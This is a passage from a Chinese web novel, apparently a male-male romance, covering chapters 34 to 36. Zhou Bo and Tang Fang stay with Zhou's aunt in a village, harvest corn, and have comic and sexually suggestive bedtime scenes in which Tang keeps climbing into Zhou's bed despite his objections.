周勃拦住她:“不用了小姑,我俩中午都没吃饭!饿得胃都要疼了,赶紧的,直接煮碗面条就行了!” 唐放:“……”他中午跟着周勃逛了个饭店,周勃吃了两碗饭,他吃了四碗。 不愧是当老板的,这谎话说起来真是眼睛都不眨一个。 见周勃看过来,唐放说:“……我也没吃。” 周山妹立马皱眉:“你们,就算再着急回来,也要把饭先吃了啊!两个大男人,饭量又大,不得饿成啥样儿了!” 唐放心说,饿成你侄子这撒谎不眨眼的样儿了。 周山妹进了厨房,周勃看向唐放,递给他个眼神,小声道:“待会儿别说漏嘴了!” 他很是了解自家小姑,这要是知道他骗人,周勃指定得挨一顿骂,好在他现在骗人的技术已经炉火纯青,只要唐放不说漏嘴。 唐放回他一个略带鄙视的眼神儿,那丹凤眼看着欠欠儿的。 让周勃看着很是手痒,他笑着的嘴角抽抽,踢踢他的脚尖。 “……知道了。”唐放无奈的拉长声音。 他看着像是会说漏嘴的人吗? 唐放嘴角抽抽,觉着周勃是真不了解他自家小姑,他有预感,等会儿的面,分量不可小觑。 他到要看看周勃怎么吃完! 果不其然,当周山妹端着盆面条出来的时候,周勃脸上的笑僵住了。 周山妹抹了抹脸上的汗,她还把炖的猪脚全给加进去了,“怎么样!够吃吧!” 这何止是够啊!多出来的都能顺便喂猪了! 周勃默然的拿起筷子点点头,“够了够了,小姑,你也吃吧。” 周山妹笑笑:“我下午吃了,猪脚都还是专门给你们炖的!你们快吃!我给你们拿碗过来!” 这话是冲着唐放说的。 唐放很是淡定的点头,似乎在他看来,这盆面不算什么。 周勃没那么好的心情了,他擦了擦额角的汗,有点后悔了,早知道说唐放没吃饭好了。 “哼,”唐放轻笑两声,看向周勃,“现在知道后悔了?” 周勃:“……” 周山妹拿来了两个比人脸都大的碗递给他们,顺便拿来了调味料。 趁着俩人吃面的功夫,周山妹开始旁敲侧听,只见她把话题递给唐放。 “唐放啊,你们在海城咋样啊?生活的,还适应吗?” 唐放大口嗦面,边回答周山妹的问题:“还行。” “有没有吃不习惯的啊?” “没,都挺好。” 周山妹见他两三下嗦完了大半碗面,心中感慨,不愧是中午没吃饭,看给这孩子饿的。 她又问:“那有没有什么看上眼的姑娘啊?” 周勃挺到这话,差点儿笑出声,唐放眼光这么高一人,要能随随便便把人姑娘看上了,也不会有之前那么多事儿了! “没,她们都看不上我。”唐放淡定道。 这话一出,周山妹自己都有点不信了,年轻小姑娘挺看重长相的,光是长相唐放都没得挑啊! 周勃差点一口面喷出来,得到唐放脚尖儿轻踢,一个眼神扫过来,这是威胁呢。 勉强把口中的面吃下去,周勃赶紧喝口水,那嘴角的笑是怎么都压不下去,赶紧又吃了两口面压压惊。 不等周勃把面吞下,周山妹又开口了。 “那你和周勃在那边,有没有看到周勃身边儿有姑娘啊?” “咳咳咳咳……”周勃听这话,差点把自己老命咳出来。 一只大手递过来水杯。 周勃想也没想一口闷下,缓过来后,他十分无奈,“小姑,我这都才离婚啊!哪有那么多精力再找个姑娘结婚啊!” 周山妹见怪不怪,或许是她自己没结婚,受了没结婚一个人带娃的苦,觉得周勃再怎么也要找个姑娘。 周山妹皱眉,话张口就来:“才离婚怎么了!那些没离婚的不也照样儿找姑娘吗!” “噗——” 周勃也被自家小姑的话惊到了,不过他没喷,他看向唐放,这人正喝水呢,一口水就这样猝不及防差点喷出来。 “周姨,我觉着,周勃真没必要着急,”唐放也不知怎的,开始帮着周勃说话:“男人嘛,事业上去了才会考虑结婚的事儿。” “再说他都刚结过一次婚,腿断了都还要恢复期呢!”唐放笑着,又给周山妹倒了杯水。 周勃没说话,听着唐放给他小姑做整理工作。 唐放说了一大通,周山妹不是不讲道理的人,显然是听进去了,她长叹一口气,“我也不是不知道,就是有些着急。” “现在的人,结婚都早,周勃要再晃个几年,到了二十七八,那还那么容易找到老婆啊!” 周山妹也就是对自家侄子不放心,唐放倒是觉得,只要周勃想,想和他结婚的女人一抓一大把,不知怎么想的,唐放对着周山妹道:“周姨,别担心,我也不着急找媳妇儿,要真到了周勃那时候还没喜欢的人!” “大不了,他不结婚,我就不结婚!” 周山妹一惊,连连摆手:“哎呀!那可不行,你要遇到合适的就早点在一起了!别跟周勃似的!” 周山妹了不敢再和唐放聊天了,再聊下去,她生怕唐放直接就说出来和周勃一起过了! 她借口上厕所,走了。 没了周山妹,唐放将目光看向周勃,他嘴角勾起,冲他笑得得意,“怎么样?” 周勃给他竖起个大拇指:“你牛。” 这实实在在的两个字,给唐放听得身心舒畅,他看了周勃一眼,又看了一眼,薄唇的弧度压都压不住,轻飘飘还给周勃句话。 “那是,也不看看是谁。” 周勃对他这小表情真是又好笑,完了又觉得有点可爱。 盆里的面干了大半,周勃吃到后面,面条儿卡在喉咙里都不想咽下去了,肚子快要被撑爆了。 反观唐放,面不改色,又从盆里盛了一大碗面条。 没办法,周勃咬牙,又再刨了一碗。 就在他吃得面色扭曲,异常痛苦之时,一只手伸过来,把周勃碗里的面直接倒在自己碗里。 “吃不了就别吃。” 唐放实在看不下去周勃那痛苦的表情了,他两三口将碗里连着周勃的面一起嗦完。 周勃看着他吃面儿,跟玩儿似的。 嚼都不带嚼,面条滑溜一下全进了他喉咙。 “……好吃吗?”周勃发出灵魂疑问。 唐放觉着周勃说这话有点矫情了,他暼他一眼,“你那是没饿过,你要真饿了,吃什么都是好吃的。” 周勃:“……” “……是没像你这样饿过。” 唐放:“……”这人会不会好好说话?? 唐放是真饿过,之前高中辍学,家里的钱全用在治病上,他能有什么钱? 每天还要工作,那时候他干的就是体力活儿,每天消耗极大,中午包的那餐饭只是不至于让他饿死,晚上他舍不得花钱,买的早上的馒头当晚上碗饭,经常半夜被饿醒。 幸好后面起来了,让他不至于为了温饱发愁。 也就是那段时间,让他什么都能吃得下,反正他都能消化。 周山妹也没想到俩人真能把面给吃完,她感叹道:“哎呀!还是煮少了!下次给你们再煮多点儿!” 唐放:“……” “别了!姑,人吃面吃多了太腻了!我们都是怕浪费才使劲儿撑的!”周勃赶紧打消周山妹的想法。 “是这样吗?” “当然是了!” …… 晚上,周山妹早早去睡了,她起得早,九点就困了。 夏天,没人洗热水澡,唐放拿了根板凳,坐在院子另一边儿,拿着瓢给自己冲澡。 树枝伸进院墙,蝉鸣在夜晚声声不断。 每隔着几声儿蝉鸣,就有瓢水顺着人的肌肤冲在地上。 周勃也热,昨天在卧铺睡了一天没洗澡,今天白天又赶车,早出了一身汗,他拿了根板凳坐到唐放身边儿。 “给我来瓢水。” 周勃勾着头,修|长的脖|颈露|出来,在点点亮光的黑夜中白的吓人。 周勃等了半天,也没水落下,他狐疑的抬头,正好对上一双正半眯着的丹凤眼,那眼睛愣愣的,不知是看到了什么。 此时唐放身上的没一处干的,他穿着背心和短裤,因为怕突然出来个人,这俩衣服被水打氵显后,紧紧贴在他的皮肤上,显露|出显眼的身材。 不管是结实而有力量感的肌|肉,还是那张优秀的脸,都叫人移不开眼。 周勃倒很是坦荡,目光从上到下的打量,眼里透露着欣赏,谁说男人不会欣赏男人的身|体? 就和女人喜欢看美女好身材一样,男人对同类的身材也有着欣赏。 唐放的身材真的很不错,周勃往下看,八块腹|肌整整齐齐,这种隐藏的力量感让人着迷,结实的大|腿肌肉,腿|毛|黑而卷。 周勃突然想起,不知从哪儿听来的话,男人的腿|毛代表着行(第四声)能力,越是黑和卷,行钰越旺盛。 这是什么带有偏见的话? 将那话甩出脑袋,周勃眼睛一暼,眉头瞬间皱起,艹啊,以前没注意,唐放这家伙,本事惊人啊,他老婆真能承|受住? 而且不知道是不是他的错觉。 怎么感觉。 在变|大? 周勃抬头,看向唐放,这人也正盯着他呢,他的眼睛黑而深,莫名让人不敢直视。 周勃目光移开,轻轻落在唐放手里的瓢,他十分轻松从唐放手里夺过瓢,或者说对方根本没阻拦。 从水桶中舀了瓢水,对着头顶倾泻而下。 凉水浸|透衣服,风一吹,带走夏天的燥热,周勃忍不住感叹一声。 “霜(第三声)!” 第34章 第 34 章 俩人都洗了个冷水澡, 缓解夏日的燥热。 周勃洗完澡换了身衣服就躺着去了,唐放不知道干嘛,从刚刚冲澡就背对着他,后来更是一个人去了卫生间。 要不是知道, 周勃差点以为人有什么毛病呢! 不知道过了多久, 周勃迷迷糊糊就要陷入睡梦之时, 他身边的床榻凹陷。 水汽蒸发带走大量热气, 周勃忍不住寻着冷意贴过去。 冰凉的触感让他发出喟叹, 就像是抱着个冰袋似的,周勃贴的更过去。 丝毫没注意,他抱着的人已经僵在原地, 手底下连肌肉都是紧绷的。 过了一会儿, 见周勃没有放手那味儿,稍稍皱起的眉头都舒展了不少。 那张脸, 睡着了,看着很是乖巧, 唐放都不忍心把他叫醒了, 他沉默片刻, 不管了,这可是你自己要抱过来的。 反手把人搂进怀里抱着。 拉灯, 睡觉! 半夜, 寂静的月亮听着田野的蛙声蝉鸣。 周勃热得不行, 他感觉自己好像身处一个巨大的熔炉,还有条巨大的火蛇紧紧缠绕着自己, 让他挣脱不得。 这火蛇仿佛有人性一般, 周勃每每挣扎出去点儿,它都会闻着味儿似的, 尾巴一甩,又将他紧紧缠|绕在身|下。 一来一去,不知多少遍。 周勃感觉自己快要被热得蒸发了,明明他都感觉那条蛇也一样热得直流汗,却还不依不饶,不肯放过他。 倔强得不行,就算是同归于尽,也不肯放过他。 周勃热醒了。 大口大口的热气喘|出,他看着横在自己身前的手臂,气得鼻子都要歪了。 搞半天,原来那条火蛇是你啊! 唐放! 他“啪”的甩开唐放横在他面前的手臂,一条印着纹身的小臂就要从他面前消失。 不知是不是要离开他这个热原体牵动了主体的神经,这手臂刚离开一点点,自己又追了上来,还把即将远离的周勃再次拉回。 这次更过分,周勃觉着自己都快要嵌到唐放身|体里了! 后背贴着胸膛,源源不断的热意从后背传来,灼热的感觉让周勃后背发烫。 大夏天,被个大男人抱在怀里,能不热? 也不知道唐放这人平常到底吃多少饭,怎么力气大?跟个没断奶的孩子似的,硬要把周勃搂进怀里。 周勃就不信这人不热? 他一拉开这人的手,对方立马反应过来放回来,一来一回,周勃的状况毫无改善。 要不是背对着唐放,他真想给他两巴掌,把人抽醒。 你大爷的,八百年没抱过抱枕是吧! 不知道是不是周勃的错觉,他感觉自己的后月要,从刚才起,就好像有个东西扌氐着自己,并且随着他的扌争扌乚,这东西有逐渐变|大的趋势。 都是男人,能不知道这是啥?? 周勃脸绿了,他可管不了这人还睡不睡了,md,缺老婆就找个老婆啊! 对着个男人都能发忄青?? 手掌“啪”得拍打在唐放手臂上,用了力气,声儿在房间里十分清脆! “你给我起来!” 周勃声音带着怒气。 就算是这样,身后的人仿佛陷入了昏迷似的,怎么叫都不醒,手臂紧紧的抱着周勃,锢着他额头鼻尖汗水直冒。 就这样儿,周勃还能不明白这是怎么回事儿,他就是猪了! 周勃磨牙,话硬生生从牙缝中挤出,“唐放,你大爷的,我再说一句,你给我起来!” 明显感觉脖子后的人呼吸一变,随后细小的呼噜声儿从对方口中传出。 周勃气得鼻子都歪了,艹,感情唐放一直醒着和他斗智斗勇是吧! 他伸出手肘,一拐子撞在身后人的胸膛上。 闷哼声传来,可见还是知道痛的,不是装的尸体。 周勃紧接着又来一拐子。 这下受不住了,唐放放开自己的手,摁着胸口被他砸到地方,“你怎么用这么大力啊!” 低沉的声音带着抱怨。 获得自由身的周勃,拉灯,见着唐放正皱着眉捂着胸口,他冷笑一声,“怎么了,我还以为你不知道痛呢!” 唐放嘴角抽抽:“我又不是死人!” “你还不如死人,”周勃骂骂咧咧,“死人还没你这么热呢!” “……” 周勃想起大晚上硬生生被这人热醒,就气不打一处来,枕头甩在他脸上。 “要真想抱,找个姑娘抱去,艹抱个大老爷们儿干什么!给我滚下床去睡!” 鼻尖的汗从脸上流下来。 唐放也热,不过他还能接受,柔软的枕头砸在他脸上,手稳稳接住,接着就看见了周勃脸上的汗水,他热得洁白的脖子上都被汗浸氵显,胸膛随着呼吸剧烈起伏。 可见是有多热。 唐放看得也眼热,见周勃大有他不下床,就要把他踢下去的架势,唐放见好就收。 用枕头遮挡着下床了。 木地板睡着硬,但比柔软的床要凉快些。 没了唐放,周勃总算是拉灯睡了,这次很是舒适,风吹散他体表的汗,周勃很快快速入睡。 黑暗中,唐放静静听着。 过了良久,均匀的呼吸逐渐平缓而有韵律。 一双丹凤眼在黑暗中窦然睁开,目光炯炯,异常明亮。 唐放的嘴角噙着笑,利落的把枕头扔到床上,轻手轻脚翻上|床。 让他睡地板?笑话! 唐放很是不屑,他什么时候睡过地板? 舒舒服服躺在床上,柔软的床铺比硬邦邦的地板强太多,更重要的是,唐放继续将人搂在怀里,狠狠一嗅。 他总觉着周勃,身上有点香。 这次唐放不敢紧紧搂着人了,只虚虚的将手臂伸过去,像个霸占着心爱东西的孩子一般,牢牢将人圈在自己领地。 心满意足的睡过去,至于其他东西,先放着吧,总归不会坏。 清晨,在周勃醒来之前,唐放十分自觉的抱着枕头滚下床,装作刚刚醒来的样子。 唐放前一秒刚下床,后一秒房门被人推开了。 周山妹进来找东西,刚进来,就看见唐放躺地板上,枕头都还在他头下,她大吃一惊。 “唐放!你怎么睡地板上啊!” 刚说完话,周山妹脸色一变,“是不是周勃!这孩子,怎么能让人睡地板!自己睡床上的!” 她的声音越来越大,唐放眼皮一跳,连忙解释,“不是的,周姨!” “这地板上睡着凉快啊!” “周勃非不让我睡,晚上有点热,我半夜自己摸下床的,真不关他什么事儿!” 而且他也没睡地板。 唐放这么一解释。 周山妹声音小了不少,身体放松,她是真喜欢唐放这年轻人,但也不能委屈了人家。 见唐放没受委屈,她也不啰嗦。 快速在房里找好东西,周山妹拉上门退出去。 周山妹的脚步声渐远,周勃唰得睁开眼,他目光复杂,看着正躺在地板上的唐放。 “地板真睡得凉快?”不硬吗? “……凉快。” 唐放摸摸鼻尖,脸不红心不跳。 “晚上我睡地板,你去睡床吧。”周勃后半夜睡得热,想凉快些。 “凉快是凉快,但是太硬了,地板睡久了腰疼。” 周勃:“……” 大早上,吃了早餐,趁着太阳不大,俩人一人背个背篓去地里了。 他们家的地在河边儿,很大一块地全给周山妹种上了苞米,从河另一边儿看,整整齐齐的,很是壮观。 当然,也不止有他们家种了苞米。 住在农村,家里养的有家畜的,几乎家家户户都种得有,苞米便宜,产出大,喂鸡喂鸭的首选。 路上都还能碰见去苞米地的人。 村里年轻人都出去了,突然碰见俩年轻人,忍不住多看两眼。 唐放走前面,周勃后边儿就和人聊上了,大多是八卦的人。 “唉!周勃,你姑说你离婚了?”有人好奇问。 村里来来回回就那几个破事儿,周勃没想到这时候还有人问,不该早传遍了吗? 周勃面对问话,不疾不徐,笑着回答:“是这样儿,相处了一下,都觉得对方不合适,所以就离婚了。” 这人感慨,“还是你们现在开放啊,这说离婚就离婚了!对了!你先前那个是不是叫李丽华?” “是这名儿。” “啧啧,她要办喜酒了!” 周勃心中一惊,这么快吗? “不知道你们要不要去吃喜酒。” “应该不会给我们发,我都不知道有这事儿。”周勃笑笑。 这话说的,很有水平,这人凑过来小声问:“老实说,是不是你们有矛盾啊?李丽华那人不行?” “就只是觉得对方不合适而已,叔,你想多了!” 唐放在前面,看着周勃迟迟不过来,和个不知道的人说话,那人贼眉鼠眼,和周勃越来越近,简直看不下眼。 他皱皱眉冲着周勃喊:“走不走!” “来了!” 周勃和这人告别,急忙追上去。 等周勃靠近,唐放状似不经意问他:“都说什么了?” 周勃看他一眼,“李丽华要结婚了。” 唐放一顿,余光瞅着周勃脸色,没摸明白他想的啥,他面无表情,走路踢着石子,“所以?你要去参加?” 之前死去的记忆又开始回放在唐放脑海,他眉眼冷淡,一双眼在外人看着竟然有点凶。 “当然不去,人没给我发请帖,我去了干什么?”周勃奇怪的看他一眼,他的钱又不是大风刮来的。 周勃十分赞同后世的一句话,一个良好的前任,就像死了一样。 他是不能死的,不过他能让自己像死了一样。 唐放身体一松,嘴角勾着:“也是,都是要脸的人,你要真去了,我也瞧不起你。” 周勃:“……” 远远看到苞米地,俩人一前一后走在田埂上,两边是杂草,长得随心所欲,时不时出来摸|摸人小腿。 周勃看着前边儿的唐放,宽肩窄腰,走路很是稳当。 他的目光向下,忽然一顿,随后眉眼轻挑,他以前怎么没注意。 唐放这家伙,屁月殳还挺翘! 第35章 第 35 章 周勃的脑子里赫然出现几个字。 翘屁男模。 浑|圆丰臀, 完美对得起这个称号。 等到两人来到苞米地,周勃在脑子里不知道给他起了多少个外号,全都离不开一个字:屁。 一人多高的苞米挺胸抬头站在地里,居高临下的看着两人, 露|出长长的脖子, 仿佛在说。 是兄弟, 就来砍我啊! 唐放最先受不住威胁, 镰刀利落的斩断它耀武扬威的脖子, 掰下它的子子孙孙,扔进背篓里。 很快,周勃加入他的行列。 都是从小生长在农村, 周勃没吃过猪肉也见过猪跑, 很快上手。 两个人干的热火朝天。 一个小时后,毒辣的太阳出来了。 整齐的苞米地因为种植密集, 人光在其中穿梭都异常闷热,蚊虫时不时从一根苞米叶子跳到另一根苞米叶子。 周勃有些洁癖在身, 再热, 上衣都不会脱, 更别说这儿还有胆大包天的虫子。 你敢给它机会,它就敢让你身上长满包。 唐放到没那么多讲究, 从小农村长大, 干过不少农活儿, 热了直接衣服一脱,扔到一旁, 光着膀子开始干活儿。 有虫子上身, 那硬邦邦的肌肉和唐放飞快的反应速度。 虫子们有来无回,只能凄惨的落到地上, 成为土地的肥料。 一|大片儿的苞米地,俩人辛辛苦苦干了一上午,才砍了接近十分之一。 后边儿还要背回去,脱粒,晾晒。 周勃见着唐放后背的肌肉上,一滴滴汗水顺着腰线滑落,他背部的肌肉群很是漂亮,流畅的线条饱满而不失力量感,在太阳底下,充满着阳刚的色泽,汗珠晶莹剔透,顺着主人的动作滑落在土地上。 他看着有点口渴,抬头看了眼天色,周勃后知后觉的发觉件事儿。 唐放余光见着周勃半天没动作,他转头看过去。 这人正愣愣的看着他,舔嘴唇呢,一截舌头润得嘴唇上满是水光。 唐放咽咽口水,他眯着的眼睛黑沉沉的,里面带着的情绪让周勃看不懂。 周勃站直身体,对着唐放说:“咱们带水了吗?” “没。”唐放反应过来,他站直身体,额前的头发湿成一缕一缕,俊朗的脸上那双眼睛眯着,汗珠从他的额头沿锋利的下颚线滴落,“啪嗒”一下,打弯了杂草的腰。 两人对视一眼,唐放问几点了。 周勃看了眼手表:“马上十点半了。” “那快了。” 周勃点点头,他小姑估计快给他们送饭来了,附带送来的,肯定有水。 他摘下手表,都差点给忘了还有它。 太阳大,周勃看看一旁被苞米杆堆起来的地儿,顺手扯过唐放的背心给他手表裹着,既不会沾灰也避免太阳直晒。 唐放清清楚楚看到他动作,“” 要是随便儿他哪个兄弟这样做,他指定儿把人踹河里去了。 不过,想起刚才的画面,唐放觉得,周勃就算了。 面对唐放,周勃很是淡定,“我的贵。” 三个字,给唐放呛得不行,感情你还有理了。 “你贵你有理。” 周勃听着这话,乐了。 过了十几分钟,周山妹给两人送来饭,知道他们饭量大,送过来的饭压了又压,菜也实诚,份量油水充足。 周勃饭没吃完就饱了,剩下的全交给唐放解决,这人一点不嫌他的口水,甚至还吃得津津有味。 留下水,周山妹匆匆来,又匆匆走。 苞米掰了一天,太阳快下山时,俩人陆陆续续将掰好的苞米搬回去,接着就是吃饭,洗澡,睡觉。 连着两天。 不知道是不是周勃的错觉。 他总感觉晚上睡觉,有点热。 明明他身边儿没躺着人,农村晚上应该是越来越凉快才对,周勃却觉得,晚上的温度,在升高! 快到凌晨的时候,温度才降下来。 以前从没遇见过这情况,这都连着两天了。 唐放看着周勃紧皱的眉头,心虚的摸摸鼻尖,他天天晚上爬床,能不热吗? 他舔舔嘴唇,做出满不在乎表情:“你要真实在热,把我家那台空调搬过来。” 他说的坦坦荡荡,周勃狐疑的目光定在他脸上半响,最后摇摇头:“还是算了,” 周勃觉着反正在这儿待不了多久,到时候带着小姑走了,留个空调在这儿就是浪费。 唐放不这么想,他越想越觉着这想法可行,解决了空调,他可不就能正大光明在床上睡觉了吗? “我明天就把空调搬过来。” “……” 黑夜,蝉鸣在窗外沸腾,明亮的月光透过窗户洒落在木板上。 原本正安静在木板上躺着的人,轻轻侧身,一双丹凤眼窦然睁开,只见这人轻巧的翻上|床。 柔软的床铺下凹,火勺热的胸膛缓缓贝占上周勃的背部,紧接着,一双手轻轻将他圈在怀里。 唐放发出舒服的喟|叹,天知道他是多克制才能忍住不把人紧紧抱在怀里,他觉着周勃真就是连头发丝儿都长在他的心巴上。 一个大老爷们,怎么能抱起来这么舒服,让人心痒痒呢? 只是,唐放的快乐并没持续多久,他不知道的是,就在他翻上|床的一瞬间,另一双也睁开了。 里面是逐渐燃烧的熊熊怒火。 唐放刚闭上眼,手臂上传来揪心的痛。 “嘶!” 他立马抽回手,以为是被什么虫子咬了,坐起身就要开灯查看,唐放皱眉。 别咬了他,再给周勃咬一口! 昏黄的灯光再度亮起,唐放朝那边看去,正好对上一双明亮中带着怒火的眼睛。 “啪”的一声。 灯再度关闭。 唐放眼皮一跳,心中直觉不好,不过他动作更快,瞬间躺回床上,两只手臂牢牢的抱住周勃,下巴枕在他的肩膀上,语气跟哄小孩似的。 “快睡快睡,这么晚了,该睡觉了。” 现在就属于是,被发现了,唐放直接破罐子破摔。 我就喜欢抱着你睡,怎么了! 周勃给气的,他掰又掰不开唐放的手臂,这人力气巨大,除非他自己放开,周勃想出来,两个字。 做梦! “艹!前两天是不是你偷摸儿爬上来的!”周勃气得鼻子直冒汗。 唐放也热,但他能忍,懒洋洋道:“说什么呢,我昨天可没上来啊!” 周勃掰不开他的手,他冷笑一声:“狗昨天爬上|床了。” “……汪汪。” 唐放的声音离他耳朵近,喷|出的热气!全撒在周勃耳廓上。 “……你还真是,脸都不要了。” 周勃气笑了,开始手肘攻击,这个攻击,除非唐放有三只手,不然绝对会有空荡。 周勃毫不留情的用力,想的很好,可惜他忘了,唐放还有脚呢! 一只手防备他的手肘,唐放一条腿死死压住他。 这还有自己送上门的,唐放声音乐得不行,“别闹,赶紧睡了,明天还得去掰苞米呢!你不心疼周姨了?” 他现在更心疼自己! 周勃现在十分后悔,怎么把这个滚犊子带回来了,带个陈牧德晚上都不会这么费劲儿! 唐放这时候很是惬意,一只手锢住周勃,另一只手直接从他前边儿衣服里钻进去,爱不释手的摸|摸他的腹部。 肌肉紧致柔软,他之前想到过很多次,现在终于上手了。 和唐放记忆中一样触感,劲瘦的腰肢毫无赘肉。 “好身材。”唐放心中赞叹。 之前看得那片儿的男主人公算什么东西,能和周勃比吗? 唐放的手忍不住向上走。 周勃快要崩不住了,唐放的手在他腹部摸|来摸|去半天,完了,竟然还有往上的趋势? 真当他是女人吗? 想吃奶找你|妈去! “唐放!我再说一次,把你的腿和手拿开。”周勃声音冷得掉渣,抑制不住的怒火从牙缝间丝丝显露。 唐放的手一顿,知道这人这次是真的生气了,他赶紧撤回手和脚,“闹着玩,别生气!” 周勃半天没回话。 唐放平躺着心中不得劲,他的手上还停留着刚才的触感,他也不知道咋的,抱着人就觉着大脑发热。 脑子没反应过来,就已经上手了。 不过他不后悔,唐放了解自己,一直记着的,早晚得上手。 唐放拉灯,昏黄的灯光再度盈满房间,他朝周勃那儿看过去,目光紧紧盯着他。 舔舔嘴唇,唐放放平呼吸道:“……生气了?” 周勃的声音良久后恢复平静无波:“……早点睡。” “……不是,不就是摸|摸你腹肌吗?有这么生气?” 周勃目前不想和他说话,他觉得自己得冷静一下,不然迟早会被唐放给气死,为此,他选择冷处理。 有句话说得很对,现在很晚了,先睡觉。 不然就是折磨自己! 唐放觉着周勃一定是气狠了,不然不会连句话都不说。 自己确实是过分了,天气热,还整天到晚想抱着人,今晚上尤其过分。 想了想,唐放凑过去,他放软声音,头伸过去看他,一张脸本就好看,近距离看也是美颜暴击。 当然,周勃长得也好看,特别是冷着脸,有股子和平常不一样的气质,冷淡疏离,特想让他热起来。 看看这人热起来会是什么样儿。 唐放喉结上下移动,不自觉声音又软了软,“有真的生气吗?” “不就是摸了两下,来,我让你摸回来!” 唐放拉着他的手就往自己身上凑,掀开,狠狠在自己身上蹭了两把。 周勃都要服气了,他刚坐起身,手被唐放一带,脸直接砸到他的胸口上。 温热的呼吸集中在胸口,腹部是周勃灼热的手掌,唐放浑身僵住。 周勃坐直身体,他揉揉鼻子,睁开眼,眼珠子差点儿瞪出来,怀疑自己是不是看错了?这尼|玛都能有反|应?? 给眼前看到的东西气得脸从黑转绿,再从绿转红。 艹,唐放是狗吗?这是发忄青期到了?? 唐放控制不住自己,不过,他很镇定。 “……我能解释。” 周勃看向他,牙缝中挤出话:“那你解释。” 唐放:“……” 第36章 第 36 章 “这是人的正常生|理反应, 就和你早上起来,晨孛力一样!”唐放镇定道,开始一本正经的胡说八道,最后反问:“难道你没有过吗?” “我不信。” 周勃当然有过, 正常男人应该都有过, 只是, 这和你啥时候有肯定是有区别的。 他不是傻子。 不过被他这一打岔, 周勃的怒气消了不少, 他还是冷笑,“怎么,就你被别人摸两下撞两下就有了?” “……” 唐放瞅着周勃那冷眉冷眼, 他舌忝舌忝唇, 又觉得有点儿委屈,他哪天晚上不是老老实实睡觉, 就今天,你一醒过来就闹这出。 这还不是你给害的, 你个罪魁祸首。 周勃见他不说话, 也不想和他老说这些, 两个大老爷们,整天扯这些, 有完没完。 “你这样, 你先把自个儿解决好, 有什么事儿,明天再说。” 说完, 周勃扔给他两张纸, “赶紧的。” 唐放:“……” 他能怎么办,只能接受呗。 也幸好, 周勃晚上还没睡着,不然他能爆炸。 背后是唐放,这人根本没把他当外人,悉悉索索的声音传来。 不知怎么的,周勃忽然想起白天摘苞米时看到的画面,明明都是男人,他的心中却升起些许燥热,或许是被这人儿给传染了。 努力让自己不去联想,周勃憋着声儿等他结束。 半个小时后。 身后的声音不见舒|缓,周勃憋不住了,“不是,你还没好?” 唐放也想问,怎么还没好,但总是差点感觉,就那一点,让他上不来下不去。 想了想,唐放头伸到周勃身旁,语气中带着蛊惑,一双丹凤眼闪烁着奇异的光:“你不想试试?” “?” “我听说,两个人互搞很霜的……” 周勃一时语塞,他转过头,看着唐放近在咫尺的脸,“你从哪儿听说的?” “你别管我从哪儿听说的,”唐放嘴角上扬,心里痒痒的,“试试呗,你又不吃亏,完了我们俩都霜。” “霜的只有你。”周勃忍不住喷他一句。 唐放眉眼一挑,“你别乱说,不试试,怎么知道只有我霜?” 说着,唐放就要动手。 这给周勃吓得一个激灵儿,他手扯过一旁的被子,这被子很薄,通常放在床上都是用来做摆设,这时候有了用处。 主要他都不过唐放,这人力气贼大! 周勃也不嫌热,把被子严严实实裹在身上,露出个脑袋在外,反正就是不留给唐放一点儿缝隙,这人精得很,不得不防。 唐放给他这突如其来的一裹逗得直乐。 那被子裹着,风扇风都吹不进去。 “不是,你真当自己是黄花大闺女,跟防狼似的。”唐放脚尖踢踢裹成个圆筒的周勃,柔软的被子凹陷进去。 周勃冲他露|出个虚伪的笑,意有所指:“有的人,比狼都不如,还冲自家兄弟扌鲁管,不害臊。” 唐放:“……” “啧,你要这么说,那我就没办法了。”唐放说着,拉好裤子,翻身一跨,直接跨坐在周勃身上,伸|出手就要去找被子的缝隙。 俩人,一个钻缝隙掀被子,一个死死裹着被子不让得逞。 闹来闹去,那呼呼转动的风扇咔嚓咔嚓好似拉着嗓子嘲笑俩人似的。 周勃热得额头鼻尖儿冒汗,但看着翻来覆去就是找不出破绽的唐放,心里竟然有那么点儿霜,这家伙,我就不信你能给这被子撕开。 这被子被俩人拉扯,也是皱巴巴的,有苦说不出。 唐放很是纳闷,“……你不热?” 唐放都看到周勃额前的头发湿了一半了,他伸手朝周勃脑袋摸过去。 周勃手裹在被子里呢,抽不出来,只能歪着头躲。 但没用! 唐放手一捞,周勃那头就跟落到了渔网里的鱼,怎么挣扎那都是在渔网里。 好家伙,唐放手摸出来一把汗。 “你是这水做的吧。” 唐放的手烫的吓人,周勃此刻是又热又难受,咋想的,刚才脑子一抽给裹上被子了,现在属于是伤敌一千自损八百。 周勃皱着眉,不忘回嘴:“你tm是狗屎做的。” “你见过这么帅的狗屎?”唐放立刻反问,那眼睛眯着,就像在说,你在说什么屁话 “都是狗屎了,还分什么帅不帅,怎么,屎还分香不香臭不臭的?”周勃嘲讽拉满,他就是看不惯唐放那样儿。 唐放眯着眼,半响儿没说话。 两人对视着,那眼神儿,透露出一股子倔强。 眼见周勃的汗水哗啦啦的流。 最终,唐放首先败下阵来,他长叹一口气,收腿,脑袋枕在手臂上,侧躺在床上,不说话了。 你说说,这人儿咋这么倔呢? 那汗水跟不要钱似的淌下来,都热成那样儿了,一句让软话都不肯说。 想到这儿,唐放也不知道咋的,心头有些憋屈,有点酸,又有点好笑的同时带点儿说不出的烦躁。 恰好,一只蚊子嗡嗡嗡的飞过来,还没着陆,就被一只迁怒的无情铁手碾压,最终变为一抹细长的蚊子血。 唐放面无表情的收回手,他长这么大,什么人没见过,只要他招招手,想爬到他床上来女人多得是,还用得着你周勃? 身为兄弟,互帮互助不是人之常情吗! 有这么嫌弃人的吗? 越想,唐放心头越是烦躁,还有点儿自己都不知道的委屈。 周勃这时候听唐放长时间没说话,也有点儿察觉出不对儿了,他用手戳戳唐放后背。 对方没反应。 他再用力戳了戳。 对方一动不动。 周勃掀开被子,男人嘛,情绪来得快去得也快,不然怎么那么多前脚打架后脚就勾肩搭背称兄道弟的人,说到底就是不记仇。 更何况,刚才嚣张的唐放此刻不说话了,周勃反而有点子不得劲儿了。 可能男人有时候就是贝戋,人不说话了,又凑上去。 “你不会哭了吧。”周勃后槽牙有点疼,要这人真哭了,他可不知道怎么哄。 只一句话,唐放一下转头,黑着脸:“你tm才哭了。” 周勃点点头,轻轻暼一眼唐放,“没哭就好,哭了我这儿可没糖哄你,得跑到县里去了,这么远,你就只能哭到第二天了。” “”唐放十分无语,周勃真当他是小孩儿,还需要吃糖? 可莫名的,就这略带些哄的一句话,唐放的心情奇迹的好上了那么一点点。 